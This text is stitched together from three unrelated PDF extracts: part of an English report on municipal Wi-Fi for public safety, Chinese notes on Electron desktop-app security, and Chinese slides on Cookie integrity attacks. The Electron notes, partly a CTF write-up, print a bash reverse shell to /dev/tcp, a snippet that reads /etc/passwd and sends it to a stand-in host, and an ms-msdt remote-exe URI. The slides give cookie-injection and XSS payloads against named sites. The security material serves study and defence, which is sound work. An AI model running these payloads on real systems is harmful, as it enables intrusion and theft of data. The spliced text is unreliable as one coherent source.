weapons, in case of a disaster. The primary intent of the network is to coordinate evacuation and emergency responses in case of a major incident. Police will be able to view live video footage on laptops, divert traffic and organize evacuations. Emergency medical workers can send medical data to hospitals while en route and know ahead of time which hospitals can accommodate more patients. Though a hazmat emergency has not yet occurred, routine use of the network has caused an estimated 65 percent reduction in paperwork, as police use it to monitor traffic flow, communicate on the go with dispatchers, download data and file reports from the road, saving an estimated half of the 4,000 or so hours each officer spends on such bureaucratic tasks each year. The ubiquitous network is also open free to the public – and for a moderate fee to businesses, providing a valuable service in sparsely populated northeaster Oregon. New Orleans, Louisiana Type of Implementation: 2.4 GHz Wireless Mesh from Tropos Networks Application: Unlicensed wireless surveillance camera network Prior to the tragedy of Hurricane Katrina, New Orleans decided to set up a real-time video surveillance network to monitor strategic points around the city as part of Mayor C. Ray Nagin’s ambitious crime-fighting agenda. The city researched both wired and wireless solutions, and ultimately decided that a wireless system operating on unlicensed spectrum would be both versatile, reliable and more cost-effective than other alternatives. 4 5 The city selected to anchor its police surveillance system on a Wi-Fi mesh network by Tropos. Wi-Fi nodes are mounted on the city’s power poles, drawing power from them as part of an agreement with the city power utility. Indeed, during Hurricane Katrina, some of the most dramatic videos of the disaster were recorded by the city’s wireless surveillance system—at least until the power grid went down. Using detailed crime maps of the city, the New Orleans Police Department worked with the mayor’s Office of Technology to place cameras in the areas most plagued by murders, robberies, vehicle thefts and drug trafficking. The IP-based cameras, controlled remotely from police headquarters, provide high-quality digital images that can be made available to any wireless device on the city’s IP network. The reconfigurable mesh architecture of the city’s Wi-Fi network allows city officials to easily move Wi-Fi nodes and cameras to needed areas. This is helpful to ensure safety at special events, such as the annual Mardi Gras parade. During the pilot phase of the project, conducted from January through August of 2004, the area covered by the surveillance network recorded 57% fewer murders and 30% fewer car thefts than in the same months the previous year. Pratt, Kansas Type of Implementation: 2.4 GHz Alvarion BreezeACCESS system Application: Mobile broadband access for law enforcement The rural Kansas town of Pratt has a mobile broadband wireless network that allows police officers to access critical law enforcement related applications from their patrol cars. Officers can obtain critical arrest and other criminal information, access department databases and submit reports from the field, without having to report to the office. The private city network, which allows both fixed and mobile data access, is built on Alvarion Inc.’s BreezeACCESS system, which utilizes the 2.4 GHz unlicensed band. The city chose an unlicensed wireless solution to avoid the user fees and higher equipment costs associated with a licensed frequency. Network nodes are installed on water, airport and other civic towers. The network covers the entire city, and provides T-1 comparable (1.544 Mbps) connectivity. For added security, the network employs Frequency-Hopping Spread Spectrum (FHSS) technology and a firewall to ensure data privacy. Las Vegas, Nevada Type of Implementation: 2.4 GHz Tropos MetroMesh Application: City police and fire network and downtown hotspot Began as a search for a better way to control traffic lights, the city of Las Vegas realized that Wi- Fi could do that and more. The city decided to build a mesh network to support traffic monitoring and communication for public safety personnel. Mesh networks such as that of Las Vegas are self-healing in the event of a node failure, making them robust enough to survive a potential Homeland Security crisis. The first 5 square kilometers cost $175,000, and coverage of the entire city is estimated to cost just $6 million. Using the access granted them by the city, Cheetah Wireless is also able to use the similar equipment to offer public access “hot zones” to subscribers all over the city. This business model helps keeps cost to the city low, and brings the benefits of high-speed wireless access to the general population. Spokane, Washington Type of Implementation: 802.11 Wireless Application: Downtown hotzone and public safety 6 Spokane’s network covers 100 city blocks and is used primarily for public safety applications. The city claims it is largest municipal Wi-Fi network in the US. The network has two domains: (1) the city's private domain which it uses for public safety, mobile workforce, and automated parking enforcement and (2) the public domain, SpokaneHotzone, which is devoted to public access offered through OneEighty Networks, a local ISP. Time Magazine profiled Spokane’s network, citing many examples of current and planned public safety uses, such as allowing fire fighters to download floor plans before entering a burning building. Odessa, Washington Application: Wi-Fi Internet, public safety (police vehicle data access) Odessa Office Equipment is a WISP serving the towns of Odessa, Wilbur, Creston and Ephrata with its 11Mbps wireless system running on unlicensed spectrum. Odessa set up a wireless data access network for the local police departments. According to Marlon Schafer, the company’s owner, police in the region report that roughly 50% of their stops are of people who lie about their identity and don’t present proper identification. Law enforcement officers will soon be able to run bandwidth-intensive applications such as fingerprint identification from in the field in cases like this, to help immediately identify individuals with outstanding arrest warrants, suspended licenses, etc. The availability of unlicensed low-frequency spectrum to carry such data at high speeds is essential to making that a reality. Tacoma, Washington Application: Homeland security, monitoring inventory at Port of Tacoma using RFID Unlicensed wireless has important homeland security applications as well. Odessa Office Equipment (profiled above) also installed a system that uses unlicensed wireless to read Radiofrequency Identification (RFID) tags on shipping containers at the Port of Tacoma. Using RF ID readers on moving cranes, the system automatically identified what was coming off each ship before the containers even left the port. Charlotte County, Florida Type of Implementation: 5 GHz unlicensed Motorola Canopy Application: Wi-Fi Internet for businesses and emergency services DayStar Communications provides high-speed wired and wireless data and voice services for the business communities of Port Charlotte, Punta Gorda and Venice. DayStar has a Wi-Fi network operating on unlicensed spectrum covering parts of Punta Gorda, Port Charlotte, Englewood and Venice. The company offers an affordable wireless Internet package for businesses in the region. After Hurricane Charley devastated the Gulf Coast in the summer of 2004, DayStar opened its arms to the community and began offering free domestic Voice Over Internet Protocol (VOIP) phone calls and Wi-Fi Internet access to county residents at two different locations. Sixteen VOIP telephones were made available in Punta Gorda and Port Charlotte. A DayStar Communications representative was made available at each location to help residents use the service. DayStar President Al Sanders was especially concerned about the region’s elderly, who were forced to wait in long lines to call relatives and register for assistance from the Federal Emergency Management Agency following the disaster. Sanders decided to offer the service to assist in hurricane-related situations. The availability of a high-bandwidth unlicensed wireless network proved critical in getting assistance to the elderly community during a time of crisis, when wired communications had gone down. 7 Daytona Beach Shores, Florida Type of Implementation: 5.3 GHz Unlicensed Wireless Application: Residential/business Internet, municipal and public safety For the past four years, local WISP Qmega Technologies, Inc. has provided high-speed wireless Internet access to the businesses and residents of the entire town of Daytona Beach Shores, FL. Qmega has an agreement with the city to provide wireless Internet services for the city hall & public safety as well. The five buildings of the city complex are connected wirelessly to each other, with voice and data, which in turn allows police officers & staff in City Hall to be able to access public safety applications over an encrypted link. All of this is done with Mikrotik routers using unlicensed spectrum in the 5.3 Ghz band. The entire city core is covered for mobile in-car service. The city’s high-speed network has also proved its importance not just in police work, but in emergency response as well. During the devastating 2004 Florida hurricanes, the city’s wireless network was online during the storms, enabling city officials to look up weather & hurricane reports online to better plan evacuation and response efforts. Unfortunately, because Qmega’s coverage area will not include a new public safety complex being built 20 miles away, the city is now forced to switch to a more expensive cellular service. Rio Rico, Arizona Type of Implementation: 802.11 Wireless Application: Public safety/first responder; eventually, access for schools and residents Santa Cruz County is constructing a public safety network over a 32-mile stretch of US I-19, part of the CANAMEX corridor that links Canada to Mexico. The project is being financed by a two- year, $500,000 Homeland Security grant, secured through the Arizona Telecommunications and Information Council. After that time frame, the county will begin selling part of the network’s bandwidth to customers living near the highway to provide Internet access, revenues which will make the network self-supporting. Two thirds of Santa Cruz County’s schools are within a half- mile of the highway, putting them within range of the network. Early tests have demonstrated the ability to hold VoIP calls at 80 mph. Buffalo, Minnesota Type of Implementation: Motorola MeshNetworks; 2.4 GHz Band QDMA Applications: Public safety, city utilities Buffalo, a town located 40 miles north of Minneapolis, has a public safety network that does not use standard Wi-Fi protocols. Rather, it utilizes Motorola’s proprietary mesh architecture on the 2.4 GHz unlicensed band, giving each node a one-mile range. The city’s network, covering 12.4 square miles, went live in February 2005, and is used for Police, Fire, and other city services, for the usual suite of applications: filing reports and checking records from the road, accessing architectural information from the field (useful for both firefighters and civil engineers), etc. The city also maintains a parallel Wi-Fi ISP, Buffalo Wireless Internet Group, using standard Wi-Fi, which charges just $9.99 per month for 192kbps; and $23.99 for 384kbps. The builder of the Network, WaveRider, claims 20% household penetration and 60% business penetration. 8 South Sioux City, Nebraska Type of Implementation: 802.11b Wi-Fi Applications: Public safety, city utilities South Sioux City first built its own Fiber Optic ring in the late 90s to provide high-speed communications for the city government, and leased bandwidth to private ISPs to resell to residents and businesses. They then experimented with wireless in 2002, and initial trials were so promising that they decided to build a dedicated network for public safety and municipal uses, for which they received a $457,000 grant from Homeland Security. The city is not initially planning for total coverage, but for a dense enough scattering of hotspots so that officers in the field will never be more than a few minutes away from one. The network will also cover the city’s schools, supporting a system of security cameras while simultaneously giving students wireless Internet access. Ripon, California Type of Implementation: Motorola MeshNetworks; 2.4 GHz Band QDMA Applications: Public safety, city utilities; eventually open for public access Ripon, a town of 13,000 people in California’s Central Valley, is deploying a mesh network using Motorola’s hardware and covering 8 square miles. The city researched both licensed and unlicensed wireless solutions, and overwhelmingly decided upon an unlicensed solution due to its high quality cost advantages. The will be used for public safety and other municipal uses such as real-time remote monitoring of city wells and pump station data and Geographical Information Systems mapping of the city. City police officers will have mobile data systems in their cars, and soon the city will use the network to deploy more than 20 surveillance cameras to monitor and investigate suspected criminal activity. The cameras will be placed at three truck stops on a major freeway, in city parks and at locations in the downtown area, among other places. The network is expected initially to save the police department at least $2,000 per month. Overall, the network is expected to cost $500,000 (with no recurring fees), offset by a $75,000 homeland security grant. The 18-month preliminary study rejected cellular as being too expensive and limited in its data capacity, deciding instead on unlicensed IP based service. The network will be made publicly accessible eventually, which the city hopes to use to attract residents from Silicon Valley.
pdf
electron安全简记  0x01-electron启动  通常 electron 项⽬的应⽤⼊⼝是 main.js ,也可以 package.json 中配置 npm start 脚本,它 以 package.json 中的 main 属性寻找⼊⼝⽂件 electron . main.js 的⼤致逻辑就是调⽤ BrowserWindow 启动窗体,在此之前执⾏ preload.js 预加载⼀些 ipc函数接⼝、设置环境变量等 # main.js const { app, BrowserWindow } = require('electron') const path = require('path') function createWindow () { const win = new BrowserWindow({ width: 800, height: 600, webPreferences: { preload: path.join(__dirname, 'preload.js') } }) win.loadFile('index.html') } app.whenReady().then(() => { createWindow() app.on('activate', () => { if (BrowserWindow.getAllWindows().length === 0) { createWindow() } }) }) app.on('window-all-closed', () => { if (process.platform !== 'darwin') { app.quit() } }) 关于快速启动⼀个electron应⽤可以参考官⽅⼿册的代 码:https://www.electronjs.org/zh/docs/latest/tutorial/quick-start ⽣产环境⼤多⽤ electron-packager 对编写的应⽤进⾏打包,⽣成exe或者其他跨平台的可执⾏程 序 electron-packager . myfirstapp --win --out ./output --arch=x64 --electron- version=17.0.0 --app-version=1.0. 0x02-electron进程通信  Electron 应⽤会为每个打开的 BrowserWindow ( 每个⽹⻚嵌⼊ ) ⽣成⼀个单独的渲染器进程,即 不同⻚⾯代表不同的 RenderProcess ,这⼀点应该和 Chromium Site Isolation 处理⼀致。进程 间的通信由 ipc 完成 0x03-安全问题的⼏个讨论  electron@12之后,需要设置 BrowserWindow 的启动参数如下,才能在渲染进程的 <script> 标签 (⻚⾯)中使⽤ JavaScript 调⽤ nodeContextAPI (例如require函数等) win = new BrowserWindow({ width: 800, height: 600, webPreferences: { //safe configure nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname, 'preload.js'), sandbox: true } }); win.loadFile("index.html"); 1、设置nodeIntegration为false,将禁⽌在渲染进程中获取node原⽣模块,缺省值为false 2、设置sandbox为true,将禁⽌在渲染进程中获取node原⽣模块,缺省值为false 3、设置contextIsolcation为true,将隔离预加载脚本preload.js中定义的api,缺省值为true 综合1、2点,会导致渲染进程⻚⾯的 <script> 标签不能加载 require 的情况。 electron@5 之前 默认 contextIsolcation 为 true , electron@12 以后默认为安全值。 contextIsolation 的主 要⽬的是阻⽌渲染器进程原型链污染到主进程,⽤来隔离变量。与此同时,在使⽤ BrowserView 嵌⼊的⼦⻚⾯,如 iframe 、 Webview 等, webPreferences 取默认值(安全) nodeIntegrationInWorker带来的问题  nodeIntegration 有很多⼦选项,⽐如 nodeIntegrationInWorker 和 nodeintegrationinsubframes ,从字⾯意思不难看出是允许 Web Worker 或者 iframe ⼦⻚⾯获 取 NodeContext 。这⾥以 nodeIntegrationInWorker 为例,当 nodeIntegrationInWorker: true 时,允许我们在 Web Wokers 中调⽤ Node API 执⾏任意代 码, nodeintegrationinsubframes 同理只需要在⼦⻚⾯的 <script> 标签中写恶意代码即可。 ⼀个典型的漏洞案例出⾃RocketChat客户端,这⾥抽象出漏洞原理如下两图 漏洞来源:SSD Advisory - Rocket.Chat Client-side Remote Code Execution - SSD Secure Disclosure preload.js带来的安全问题  preload.js 不受 nodeIntegration 限制,这个设计模式的作⽤是定义⼀些全局 window.API 供 render 进程使⽤,⽐如封装node系统模块的调⽤给⽤户层,从⽽规避 nodeIntegration 的限 制。 下⾯这例⼦中通过预加载脚本暴露  ipcRenderer.send ,就可以在任意的 renderProcess 进程中 调⽤此接⼝ 那么在 contextIsolation: true 与 nodeIntegration: false 时,攻击者可以寻找预加载脚 本 preload.js 中是否存在 sink ,相当于寻找 ipc 通信过程中的危险操作。类⽐起来,有些像前 端中经典的 postMessage 未验证来源从⽽产⽣的 XSS 攻击。抽象出的漏洞 demo 如下图所示 同样在2022 hack.luCTF中也有相同的例⼦, nodeIntegration: false ,在 preload.js 使 ⽤ window.api 接⼝暴露 RendererApi ,其中 RendererApi#invoke 函数调⽤ ipcRenderer 进 ⾏ renderProcess 与主进程 renderMain 之间IPC通信 //preload.js const {ipcRenderer, contextBridge} = require('electron') const RendererApi = { invoke: (action, ...args) => { return ipcRenderer.send("RELaction",action, args); }, }; // SECURITY: expose a limted API to the renderer over the context bridge // https://github.com/1password/electron-secure-defaults/SECURITY.md#rule-3 contextBridge.exposeInMainWorld("api", RendererApi); 主进程 renderMain 定义了 RELaction 事件的处理⽅法,这⾥存在⽣命周期对象 app 的任意函数 调⽤,因 app 对象重载时可以指定⽂件路径与参数,相当于任意命令执⾏ app.relaunch({execPath: 'bash', args: ['-c', 'bash -i >& /dev/tcp/HOST/PORT 0>&1']}) 对于这道题⽬来说,在任意的 render ⻚⾯中存在XSS就能调⽤ window.api.invoke('relaunch', {execPath: 'bash', args: ['-c', 'xxx']}) 实现RCE contextIsolation带来的安全问题  当 contextIsolation: false 时,当前⻚⾯的渲染进程 renderProcess 可以获取到主进程预加载 时注⼊的window变量,如果开发者图省事在 window 对象上宏定义 ipcRender 接⼝⽅法,渲染进 程就能借助于 window.IpcMethod 向 ipcMain 监听的事件发送信号,或者直接调⽤宏定义⽅法等 另外,笔者简单验证了下其是否可以通过渲染进程的变量影响到其他进程/主进程变量。 ⾸先假设我们有两个⻚⾯A.html、B.html。在A⻚⾯渲染进程renderProcessA中篡改window.myAPI 后,调⽤window.location.href跳转到B⻚⾯渲染进程renderProcessB,此时window.myAPI仍是预 加载时主进程所定义的值。⽽通过location再次跳回A⻚⾯后,window.myAPI为我们篡改的值。 这反映出两个问题:1、渲染进程可以更改window.myAPI,但是⽆法覆盖其他渲染进程或者主进程 的window.myAPI,因为这不是⼀个双向共享的概念。2、electron在⻚⾯跳转后并没有回收渲染进 程renderProcess,当再次打开⻚⾯时进程变量依然存在,这可能跟chromium实现/回收 renderProcess的机制有关,有待进⼀步发掘有趣的环节 shell.openExternal带来的安全问题  若 shell.openExternal 存在可控参数也可被视为 sink 。 shell.openExternal 本身设计⽤来打 开外部应⽤的,例如使⽤浏览器打开某个⽹⻚。如果 openExternal 的参数没有限制 为 http/https ,将可以⽤ smb 或者其他⽂件协议打开远程地址的exe⽂件,存在RCE的⻛险 对于 Windows 来说,还有其他协议能够伪装exe的执⾏,例如 ms-msdt 协议通过诱导⽤户点击修复 系统,从⽽远程加载exe⽂件 ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\live.sysinternals.com\tools\procmon.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO" 更多的利⽤可以参考:The dangers of Electron's shell.openExternal()-many paths to remote code execution chromeV8 render漏洞带来的安全问题  chromeV8 render漏洞可以将nodeIntegration和contextIsolation进⾏开启与关闭 常⽤的攻击⼿段:关闭contextIsolation后进⾏IPC leak;开启nodeIntegrationInSubFrames进 ⾏,填充iframe srcdoc 包含恶意的系统调⽤语句;这个对 electron 有版本限制及较强的原型链 劫持限制,暂时不做讨论 0x04-⼩技巧  打开控制台  在创建BrowserWindow对象后,调⽤openDevTools()⽅法 或者在打开 electron app 后,按 CTRL+Shift+I 打开 devtools 。对某些商业应⽤的反调试,可 以借助字节的⼯具开启 debuger :https://github.com/bytedance/debugtron 设置http代理⾛burpsuite  可以在启动 electron app 时指定http代理并忽略证书,让 electron 内http/s流量 ⾛ burpsuite ,只需要在app对象调⽤electron封装的 chromium Native ⽅法 commandLine.appendArgument(value) appendSwitch 这⼀⽅法相当于在 Chromium 启动时添加参数,也是⽐较巧妙的 0x05-绕过  绕过nodeIntegration  默认 nodeIntegration 为 false ,历史上出现过两个绕过的案例: CVE-2018-15685 、 CVE- 2018-1000136 ;这两个都是在 nodeIntegration 实现机制产⽣的漏洞 即使 BrowserWindow 设置 nodeIntegration 为 true ,也不能辐射到它的⼦⻚⾯;如下图所示, 当 BrowserWindow ⻚⾯中通过 iframe 加载得到⼦⻚⾯ Webview 会隔绝 node 环境,和 iframe 在 DOM的实现机制差不多,都处在 sandbox 这意味着即使⼦⻚⾯存在XSS,也不能调⽤node上下⽂执⾏内构函数(require等)。但历史漏 洞VsCode RCE 这篇⽂章⾥讲到了⼀个利⽤⾯如下 众所周知 ChromeDom 的世界观⾥,倘若 iframe 创建⼦⻚⾯时指定了 sandbox 属性,那么在没有 指定 allow-same-origin 时⼦⻚⾯会被浏览器认为是⾮同源。 ⽽当创建 iframe 时 sandbox 属性指定参数 allow-scripts、allow-same-origin ,⼦⻚⾯就可以 获取⽗⻚⾯的变量及属性。由于在⽂章的例⼦存在这样的情况,⼦⻚⾯可以引⽤ top.require 进 ⾏RCE 其他常规操作  由于 electron ⽀持的uri协议有file,还可以通过 Web API 读⽂件外带,不违背同源策略 var xhr = new XMLHttpRequest(); xhr.open("GET", "file:///etc/passwd", true); xhr.onload = () => { fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText}); }; xhr.send( null ); 0x06-写在最后  安利⼀篇BH2022的⼀篇议题:ElectroVolt
pdf
Cookie之困 zootrope 清华大学网络与信息安全实验室NISL 走 马 Cookies  Lack  Integrity: Real-­‐World  Implications Xiaofeng Zheng,  Jian Jiang,  Jinjin Liang,  Haixin Duan, Shuo Chen,  Tao  Wan  and  Nicholas  Weaver USENIX  Security  '15 https://www.usenix.org/conference/usenixsecurity15/technical-­‐sessions/presentation/zheng 谁忽视了Cookie安全 星巴克 离开星巴克时需要做什么? Cookie基础 • 用于保持HTTP会话状态/缓存信息 • 由服务器/脚本写入 Server: Set-­‐Cookie:  user=bob;  domain=.bank.com;  path=/; JS: document.cookie=“user=bob;   domain=.bank.com;  path=/;”; • 存储于浏览器/传输于HTTP头部 Cookie:  user=bob; cart=books; JS: console.log(document.cookie); à “user=bob;  cart=books;” • 三元组 [name,  domain,  path]:唯一确定Cookie 写时带属性,读时无属性 name, domain, path任一不同,则Cookie不同 Set-­‐Cookie:  session=secret;  domain=.bank.com; path=/; HTTP Cookie:  session=secret; http://bank.com 泄露:HTTP ② ③ Login ① Cookie:  session=secret; ④ X HTTPS https://bank.com Set-­‐Cookie:  session=secret;  domain=.bank.com; path=/; Cookie:  session=secret; HTTPS Cookie基础:同源策略(SOP) l Web  SOP:  [protocol,  domain,  port] http://www.bank.com http://www.bank.com:8080 https://www.bank.com l Cookie  SOP:  [domain,  path] − 仅以domain/path作为同源限制 − 不区分端口 − 不区分HTTP / HTTPS 非同源(受SOP隔离保护) Cookie:  session=secret;  domain=.bank.com;  path=/; http://bank.com https://bank.com Cookie基础:Domain向上通配 l 在对Cookie读写时,以“通配”的方式判断Domain是否有效 Set-­‐Cookie:  user1=aaa;  domain=.bank.com;  path=/; Set-­‐Cookie:  user2=bbb;  domain=www.bank.com;  path=/; Set-­‐Cookie:  user3=ccc;  domain=.www.bank.com;  path=/; Set-­‐Cookie:  user4=ddd;  domain=other.bank.com;   path=/; 写入: 当页面为 http://www.bank.com 时: 读取: 访问 http://www.bank.com Cookie: user1=aaa;  user2=bbb;  user3=ccc; 接受 接受 接受 拒绝 Cookie: user1=aaa; 访问 http://user.bank.com Cookie基础:Path向下通配 Set-­‐Cookie:  session=bob;  domain=.bank.com;  path=/; Set-­‐Cookie:  cart=books;  domain=.bank.com;   path=/buy/; http://bank.com/ Cookie:  session=bob; http://bank.com/buy/ Cookie:  session=bob;   cart=books; 泄露:Cookie  in HTTPS https://bank.com HTTPS Set-­‐Cookie:  session=bob;   domain=.bank.com; path=/; ① http://weibo.com <img src=‘http://non.bank.com’ /> Cookie: session=bob; ② http://non.bank.com Secure Flag Set-­‐Cookie:  session=bob; domain=.bank.com; path=/;  Secure; http://non.bank.com Cookie: session=bob  ; https://bank.com HTTPS X ① ② RFC:  带有Secure属性的Cookie仅能在HTTPS会话中传输 Secure  Flag:  缺乏完整性保护 RFC 6265: Although  seemingly  useful  for  protecting  cookies  from  active  network attackers, the  Secure  attribute  protects  only  the  cookie’s confidentiality. An  active  network  attacker  can  overwrite Secure cookies  from  an  insecure  channel, disrupting  their  integrity. https://good.bank.com/ http://evil.bank.com/ Cookie: session=bob; (domain=.bank.com; path=/; Secure) Set-­‐Cookie: session=attacker; domain=.bank.com; path=/; Secure  Cookie覆盖 http://non.bank.com HTTPS https://bank.com HTTP Cookie:  session=bob;   domain=.bank.com; path=/;  Secure; ① Set-­‐Cookie:  session=attacker;  domain=.bank.com;  path=/;  Secure; ② Cookie:  session=attacker; ③ Cookie注入:Authenticated-­‐as-­‐Attacker BARTH,  A.,  JACKSON,  C.,  Robust  De-­‐fenses for  Cross-­‐Site  Request  Forgery Cookie注入:反射 广义的反射: • 服务端将Cookie拼接到HTML页面 • JS将Cookie渲染到DOM/参与运算 Cookie反射:XSS Set-­‐Cookie:  inject=abc”+alert(‘xss’)+”; domain=.amazon.cn;  path=/; Amazon  Cloud 个案? Cookie反射(服务端) 非常普遍! 惯性思维1:“可信”的Cookie • 谁输入的Cookie?服务端 or 第三方 惯性:服务器 • 检测自信、过滤简陋 BOA的实例: 反射:Cookie:  BA_0021=OLB boaMboxCreate("***",  '***','***','***','profile.BA_0021=OLB','***','***','***'); 过滤:Cookie:  BA_0021=OLB’xss boaMboxCreate("***",  '***','***','***','profile.BA_0021=OLB#xss','***','***','***'); 运算: function  boaMboxCreate()  { var argStr =  process(arguments); //将参数处理为一个字符串 eval(“mboxCreate(”  +  argStr +  “)”); } 绕过:Set-­‐Cookie:  BA_0021=OLB\x27+alert(1)+\x27;  domain=.bankofamerica.com;  path=/; 惯性思维2:“唯一”的Cookie l 惯性:键值对 允许重名 Cookie的键是什么?name? l Cookie由[name,  domain,  path]三元组唯一确定 [name, domain, path]才是Cookie的键 写时带属性,读时无属性 读取/发送时: JS或Server只能看到name domain、path由浏览器根据当前URL选择 http://non.bank.com HTTP https://user.bank.com Cookie:  session=bob;   domain=.user.bank.com; path=/;  Secure; ① Set-­‐Cookie:  session=attacker;  domain=.bank.com;  path=/;  Secure; HTTP ② Cookie:  session=bob; session=attacker; ③ 重名:不唯一的Cookie Server如何抉择? 重名:标准 重名Cookie如何处理? RFC“标准”这样解释: 如果Cookie头中存在两个同名Cookie,服务器不应该根据 它们出现的先后顺序来决定谁有效。 ——RFC6265 即,实际没有标准!!! 诡异的规范 如果Cookie头中存在两个同名Cookie,服务器不应该根据 它们出现的先后顺序来决定谁有效。 ——RFC6265 潜台词: “我也没辙,那就约定俗成,按顺序来处理吧” Cookie:  session=bob; session=attacker; 写时带属性、读时无属性 除了先后顺序,没有其他区别 JS库/框架 优先级 JQuery 取前者 AngularJS ExtJS Dojo YUI 取后者 额外提供取前者的接口 Server语言/框架 优先级 PHP 取前者 ASP/ASP.NET Java/Spring NodeJS GoLang Python 取后者 优先级顺序:Server  &  Browser 重名:顺序/优先级 浏览器对Cookie  String的排序原则 • 具有更长Path的Cookie更靠前; • 如果Path长度相等,更早创建的Cookie更靠前; ——RFC6265 Cookie:  session=bob; session=attacker; 提高优先级:更长Path 目标页面:https://user.bank.com/admin/index.php?type=1 Server  à Set-­‐Cookie:  session=bob;  domain=.user.bank.com;  path=/; Attacker à Set-­‐Cookie:  session=attacker;  domain=.bank.com;  path=/admin; Server  à Set-­‐Cookie:  session=bob;  domain=.user.bank.com;  path=/admin; Attacker à Set-­‐Cookie:  session=attacker;  domain=.bank.com;  path=/admin/; Server  à Set-­‐Cookie:  session=bob;  domain=.user.bank.com;  path=/admin/; Attacker à Set-­‐Cookie:  session=attacker;  domain=.bank.com;  path=/admin/index.php; Cookie:  session=attacker;  session=bob; 总能最长?Cookie职责之一,负责多页面之间的状态传递 Attacker à Set-­‐Cookie:  session=attacker;  domain=.bank.com;  path=/admin/index.php?type=1; (Firefox) 提高优先级:更早创建 Server  à Set-­‐Cookie:  session=bob;  domain=.bank.com; path=/; 目标页面:https://user.bank.com/ Attacker à Set-­‐Cookie:  session=none;  domain=.bank.com; path=/; expires=Mon,  1 Jan  1970 Attacker à Set-­‐Cookie:  session=attacker;  domain=user.bank.com;   path=/; … Server  à Set-­‐Cookie:  session=bob;   domain=.bank.com; path=/; Cookie:  session=attacker;  session=bob; 更早创建 Attacker  à Set-­‐Cookie:  session=attacker;   domain=user.bank.com;  path=//; (Firefox) 精确控制 • 精确控制作用域 domain、path • 总能构造更高优先级 Path、Creation-­‐time 那么… 精确攻击:隐蔽的身份替换 对google注入:Set-­‐Cookie: session=attacker; domain=www.google.com; path=/search; https://www.google.com/ https://history.google.com/history/ https://mail.google.com/ https://drive.google.com/ Ajax:  https://www.google.com/search?pq=kcon 身份:攻击者(信息泄露) 身份:受害者(无察觉) 身份:受害者(无察觉) 身份:受害者(无察觉) Cookie:  session=attacker;  session=bob; Cookie:  session=bob; 惯性思维3:“一个”HTTPS页面 这是一个HTTPS页面; 欢迎, Bob 浏览记录 好友列表 我的订单 系统消息 https://www.bank.com 真是“一个”页面吗? HTTPS可以保证页面的完整性; 因此,这一个页面的信息是完整的。 (不可篡改的) https://www.bank.com 欢迎, Bob 浏览记录 好友列表 我的订单 系统消息 “一个”HTTPS页面 GET  / Cookie:  Session=Bob; Ajax: /message Ajax: /friends iframe:  /orders iframe:  /history HTTPS Cookie:  Session=Alice;   session=Bob; Cookie:  Session=Jack;   session=Bob; Cookie:  Session=Jim;   session=Bob; Cookie:  Session=Tom;  session=Bob; 精确替换攻击:gmail Set-­‐Cookie:  session=attacker;  domain=gadget.google.com;  path=/chat; 走马 https://mail.google.com/ https://gadget.google.com/chat Attacker 精确替换攻击:充值 Set-­‐Cookie:  session=attacker;  domain=pay.jd.com;  path=/payment/bankChoose_Common.action; 走马 Attacker 正确看待HTTPS页面 • HTTPS页面往往并非“一个”页面 • 往往由多个子页面以及多个Ajax拼凑而成 • 攻击者利用Cookie可对其进行篡改 惯性思维4:“一次”HTTPS操作 HTTPS “一次”HTTPS操作 HTTPS 支付页面/pay 创建订单/pay/order 转到银行/chooseBank 银行 Cookie:  session=Bob; Cookie:  session=Attacker; Cookie:  session=Attacker; 自动跳转 自动跳转 “一次”HTTPS操作:识别链断裂 国内网银支付现状 题外话:国内许多电商跳转页面为HTTPS… 断开的“识别链” 正确看待HTTPS操作流程 • 用户操作可能并非一次“原子”操作 • 往往由多个Ajax以及多次自动跳转请求组成 • Cookie可对中间请求进行身份篡改 Amazon恶意购物 UnionPay银行卡绑定 JD恶意充值 Facebook支付绑定 Bitbucket OAuth …… 惯性思维5:总能清理的Cookie • 服务端总能主动地、准确地清理Cookie吗? 信息丢失,难以准确地清理! Set-­‐Cookie:  user=bob;  domain=?;  path=?;  ß Server 无法确定domain与path 写时带属性,读时无属性 Browser à Cookie:  user=bob; 服务器无法得知Cookie的具体domain/path 如果希望删除或重新赋值… Github认为… 遍历嘛!总能清除异常的Cookie 但是,遍历的开销…… https://sub.domain.bank.com/admin/users/list.php?name=1#any Domains: .sub.domain.bank.com sub.domain.bank.com .domain.bank.com .bank.com Paths: / /admin /admin/ /ad   (IE/Safari) /admin/us (IE/Safari) /admin/users/list.php?name=1#any (Firefox) 驻留式攻击:跨越时间和空间 Set-­‐Cookie:  session=attacker;  domain=.pay.jd.com;  path=/payment/; https://pay.jd.com/payment/ 几周前… 几周后… 该HSTS登场了 看上去强悍的HSTS HTTPS https://pay.bank.com HTTPS X HSTS:  浏览器对特定域名强制进行HTTPS访问 HTTP ② ① strict-­‐transport-­‐security: max-­‐age=15552000;  includeSubDomains; http://pay.bank.com HSTS:面对Cookie的尴尬 l HSTS并非为Cookie量身定制 l 部署现状 Full  HSTS:  8/1000;  1252/1000000  (Alexa) IE11才开始支持 对于Web页面 对敏感子域进行includeSubdomains设置即可; 例如gmail, 只需要在mail.google.com进行includeSubdomains 对于Cookie 由于Cookie的Domain是通配的 例如gmail, 虽然对mail.google.com进行includeSubdomains 攻击者即可伪造non.google.com,注入domain为.google.com的Cookie 在mail.google.com有效,可进行攻击 必须对整个域名标注includeSubdomains(Full  HSTS) 假设Full  HSTS,又如何? 407注入攻击:Pretty  Bad  Proxy Pretty-­‐Bad-­‐Proxy:  An  Overlooked  Adversary  in  Browsers’  HTTPS  Deployments Shuo Chen,  Ziqing Mao https://bank.com CONNECT  bank.com:443 ① 502:  Server  not  found <script>…..</script> ② 200:  Connection   established Fixed Proxy SSL/TLS 407注入攻击:Firefox 407注入攻击 https://bank.com Proxy CONNECT  bank.com:443 ① 407:  Proxy  Authentication  Required Set-­‐Cookie: session=attack; … ② 200:  Connection   established CVE-­‐2014-­‐8639 CVE-­‐2015-­‐1229 Full HSTS下仍可注入! 惯性思维6 Cookie而已 通用攻击 TLD  Cookie,拒绝 Set-­‐Cookie:  vulcookie=evil;  domain=.com;  path=/wp_vul_path/; www.evil.com 有无可能:攻击框架/商业Web软件? 假设WordPress的wp_vul_path/vul.php 存在Cookie漏洞 http://a.com/wp_vul_path/vul.php http://b.com/wp_vul_path/vul.php http://c.com/wp_vul_path/vul.php DNS  Query:  com DNS  Response:  1.1.1.1 